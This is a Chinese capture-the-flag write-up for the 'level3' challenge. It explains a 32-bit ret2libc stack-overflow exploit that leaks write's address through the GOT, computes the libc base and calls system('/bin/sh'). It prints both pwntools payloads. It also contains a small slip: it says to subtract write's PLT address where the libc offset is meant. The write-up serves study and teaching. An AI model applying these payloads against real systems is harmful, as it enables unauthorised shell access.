ROP-32位-ret2libc-攻防世界level3
此题属于ROP中的ret2libc类型
漏洞分析
首先查看保护
level3开启了NX保护
1 | ┌──(root💀06aa46c0844f)-[/home/level3] |
而libc_32.so.6开启了Canary、NX、PIE保护
1 | ┌──(root💀06aa46c0844f)-[/home/level3] |
放入ida反汇编,发现main函数首先调用了vulnerable_function,调用结束后通过write函数来打印Hello, World!
1 | int __cdecl main(int argc, const char **argv, const char **envp) |
vulnerable_function中定义了buf变量,大小为0x88字节,再write函数打印Input之后,调用了read函数,用户可以输入0x100个字节,很明显这里可以栈溢出攻击
1 | ssize_t vulnerable_function() |
接下来想这去覆盖返回地址为system,但发现level3中没有system函数可以直接跳转的偏移地址,并且level3中也没有”/bin/sh”的地址来充当system函数的参数
没有system和”/bin/sh”的地址怎么跳转,怎么办呢?这里需要了解下libc(题目的libc_32.so.6文件就是)以及got.plt的延迟绑定机制
libc介绍
libc是Linux下的ANSI C的函数库。
ANSI C是基本的C语言函数库,包含了C语言最基本的库函数。比如write、system以及”/bin/sh”字符串等都在里面…
GOT和PLT的作用:
ELF文件中通常存在.GOT.PLT和.PLT这两个特殊的节,ELF编译时无法知道libc等动态链接库的加载地址。如果一个程序想调用动态链接库的函数,就必须使用.GOT.PLT和.PLT配合完成调用。
ELF中所有用到的外部动态链接库函数都会有对应的PLT项目
PLT表还是一段代码,作用是从内存中取出一个地址然后跳转。取出的地址便是函数的真实地址
got.plt表的延迟绑定机制:.GOT.PLT表的初始化是在第一次调用该函数的过程中完成的,也就是说,某个函数必须被调用过,.GOT.PLT表中才会存放函数的真实地址
因此level3程序在第一次调用write函数时,plt表里没有write函数的真实地址,在调用之后,got.plt表才会存放(存放!不是等于)write函数的真实地址,而这个真实地址在libc开启了地址随机化保护(ASLR)等于基地址+write函数在libc中的偏移地址。
攻击思路
在理解了这些基础后,我们的攻击思路就清楚了
- 首先前面level3程序中通过write函数打印了两次字符串,并且write函数在调用了,因此我们构造出第一次payload攻击,可以先栈溢出覆盖返回地址为write,借助于write函数打印它got.plt表中的地址(write函数的真实地址),write调用完饭回到main从头又开始
- 在发送第一次payload后,可以获取到write的真实地址,用write的真实地址减去write函数在plt表中的地址(本地获取level3中write的plt表地址)从而计算出libc运行加载的基地址base_addr
- 本地获取system、”/bin/sh”的偏移地址,计算出system、”/bin/sh”的真实地址
- 构造第二次payload实施第二次攻击最后getshell
步骤
可以用python的函数去获取二进制文件中got、plt表的地址:
1 | p = process("./level3") |
获取”/bin/sh”字符串的地址:0x15902b
strings -a -t x libc_32.so.6 | grep "/bin/sh"
payload1
第一次攻击栈内内容 = 覆盖字符数组 + 覆盖ebp + write在plt表中的地址 + write返回时主函数地址 + write参数1fd + 要求的的offset write的地址 + 长度4
payload1 = 'a'*0x88 + p32(0xdeadbeef) + p32(write_plt) + p32(main_addr) + p32(1) + p32(write_got) + p32(0x4)
write参数说明一下:
可以从调用write前的汇编代码看出来栈地址从小到大应该依次是fd(为1就是打印字符串)、要打印的字符串offset地址、打印字符串的长度(字节数),因此上面的payload1中0x4是因为要打印出write函数的真实地址的长度(32位占4个字节)
1 | .text:0804849D push 0Eh ; n |
payload2
第二次攻击攻击栈内内容 = 覆盖字符数组 + 覆盖ebp + system调用地址 + 覆盖返回地址(随意) + “参数/bin/sh地址”
payload2 = 'a'*0x88 + p32(0xdeadbeef) + p32(sys_addr) + p32(0xdeadbeef) + p32(bin_sh_addr)
EXP
1 | # encoding: utf-8 |
打通!